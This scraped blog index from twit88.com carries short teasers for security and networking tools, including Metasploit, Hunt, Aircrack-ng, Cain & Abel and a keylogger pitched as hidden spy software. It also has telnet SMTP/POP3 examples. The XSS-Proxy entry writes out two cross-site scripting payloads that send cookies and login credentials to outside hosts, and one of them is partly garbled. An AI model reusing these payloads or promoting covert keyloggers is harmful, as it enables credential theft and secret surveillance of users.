twit88.com

AirFart is a wireless tool created to detect wireless devices, calculate their signal strengths, and present them to the user in an easy-to-understand fashion. It is written in C/C++ with a GTK front end. Airfart supports all wireless network cards supported by the linux-wlan-ng Prism2 driver that provide hardware signal strength information in the "raw […]

SiteDigger searches Google’s cache to look for vulnerabilities, errors, configuration issues, proprietary information, and interesting security nuggets on web sites.

The tool requires Google web services API license key. Browse to http://www.google.com/apis/ and follow the instructions to get the license key.
Provide the license key at the bottom-right box on the tool.
Enter the domain / […]

OllyDbg is a 32-bit assembler level analysing debugger for Microsoft® Windows®. Emphasis on binary code analysis makes it particularly useful in cases where source is unavailable. OllyDbg is a shareware, but you can download and use it for free. Special highlights are:

Intuitive user interface, no cryptical commands
Code analysis - traces registers, recognizes procedures, loops, […]

Metasploit provides useful information to people who perform penetration testing, IDS signature development, and exploit research. This project was created to provide information on exploit techniques and to create a useful resource for exploit developers and security professionals. The tools and information on this site are provided for legal security research and testing purposes only. […]

Hunt is a tool for exploiting well known weaknesses in TCP/IP protocol. Use primarily to hijack connections, but has many other features.
Hunt is a program for intruding into a connection, watching it and resetting it. Hunt operates on Ethernet and is best used for connections which can be watched through it. However, it is possible […]

XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.
Types of information leakage due to XSS attack
1. Client can reveal cookies to 3rd party (session state, order info, etc)

http://host/a.php?variable="><script>document.location=’http://www.cgisecurity.com/cgi-bin/cookie.cgi?document.location=’http://www.cgisecurity.com/cgi-bin/cookie.cgi">http://host/a.php?variable="><script>document.location=’http://www.cgisecurity.com/cgi-bin/cookie.cgi? ‘%20+document.cookie</script>

2. Client can reveal posted form items to 3rd party (userID/passwd, etc)

<form> action="logoninformation.jsp" method="post" onsubmit="hackImg=new Image; hackImg.src=’http://www.malicioussite.com/’+document.forms(1).login.value’+’:’+ document.forms(1).password.value;" </form>

3. Client can […]

SEAT (Search Engine Assessment Tool) is the next generation information digging application geared toward the needs of security professionals. SEAT uses information stored in search engine databases, cache repositories, and other public resources to scan a site for potential vulnerabilities. It’s multi-threaded, multi-database, and multi-search-engine capabilities permit easy navigation through vast amounts of information with […]

Light Logger is a monitoring software that allows you to keep track of what is happening on your computer. This spy software runs hidden in the background, and automatically logs all keystrokes. Light Logger monitoring software starts at a low level that allow you to make logging even when an anti-keylogger is installed.
It features:

Absolutely free.
Easy […]

There is some security tools available at http://www.immunityinc.com/resources-freesoftware.shtml including a rootkit tool called DR RootKit.

Aircrack-ng is an 802.11 WEP and WPA-PSK keys cracking program that can recover keys once enough data packets have been captured. It implements the standard FMS attack along with some optimizations like KoreK attacks, as well as the all-new PTW attack, thus making the attack much faster compared to other WEP cracking tools. In fact, […]

NetStumbler is a tool for Windows that allows you to detect Wireless Local Area Networks (WLANs) using 802.11b, 802.11a and 802.11g. It has many uses:

Verify that your network is set up the way you intended.
Find locations with poor coverage in your WLAN.
Detect other networks that might be causing interference with your network.
Detect unauthorized “rogue” access […]

In my earlier article, I described various tools that can be used to reset Windows password. To use these tools, I have to create a bootable CD from the ISO image given.
I have encountered one problem recently whereby one of the laptop passed to me has no floppy and the external CD-ROM is missing. Worst […]

It is very straightforward to send email using telnet if you know some simple SMTP command

> telnet smtp.server.com 25

S: 220 smtp.server.com ESMTP Postfix
C: HELO relay.twit88.com
S: 250 Hello relay.twit88.com, I am glad to meet you
C: MAIL FROM:<admin@twit88.com>
S: 250 Ok
C: RCPT TO:<admin@twit88.com>
S: 250 Ok
C: DATA
S: 354 End data with <CR><LF>.<CR><LF>
C: From: “Admin” <admin@twit88.com>
C: To: Anyone<anyone@yahoo.com>
C: Cc: another@yahoo.com
C: […]

This is a simple trick that you may already know. It is very easy to access your email if your email server supports POP3 protocol. By right all email servers should support this protocol. The default port for POP3 is 110.

$ telnet pop.myserver.com 110
Trying 16.1.3.4…
Connected to pop.myserver.com.
Escape character is ‘^]’.
+OK QPOP (version 2.4) at pop.myserver.com […]

This is the script I used before for my legacy Java applications running on non-JDK 1.6 platform. In JDK1.6+, we can use a wildcard to include all jars in a directory. E.g.

java -classpath C:\jar_dir\*

#!/bin/sh

buildClassPath() {
jar_dir=$1
if [ $# -ne 1 […]

This is the tool I used sometimes to recover passwords that I have forgotten. I do not encourage hacking. This tool is actually considered a backdoor sometimes by some of the security software in the market. Personally I think it is useful, but people tend to abuse it.
Cain & Abel is a password recovery tool […]

Download Sample

Most of us have the experience of after visiting certain websites, our IE settings like the main page, title or some of the Windows settings are changed. This happened specially in the early age of Internet usage. Now there are lots of tools that can help to prevent this, but it is important that […]

PDUSpy is a tool to that can be used to send SMS through your GSM modem or cellphone, and encode/decode PDU string found in GSM SMS. It can read SMS message from your GSM modem or cellphone.

For anyone who need to do SMS programming, I would highly recommend this tool.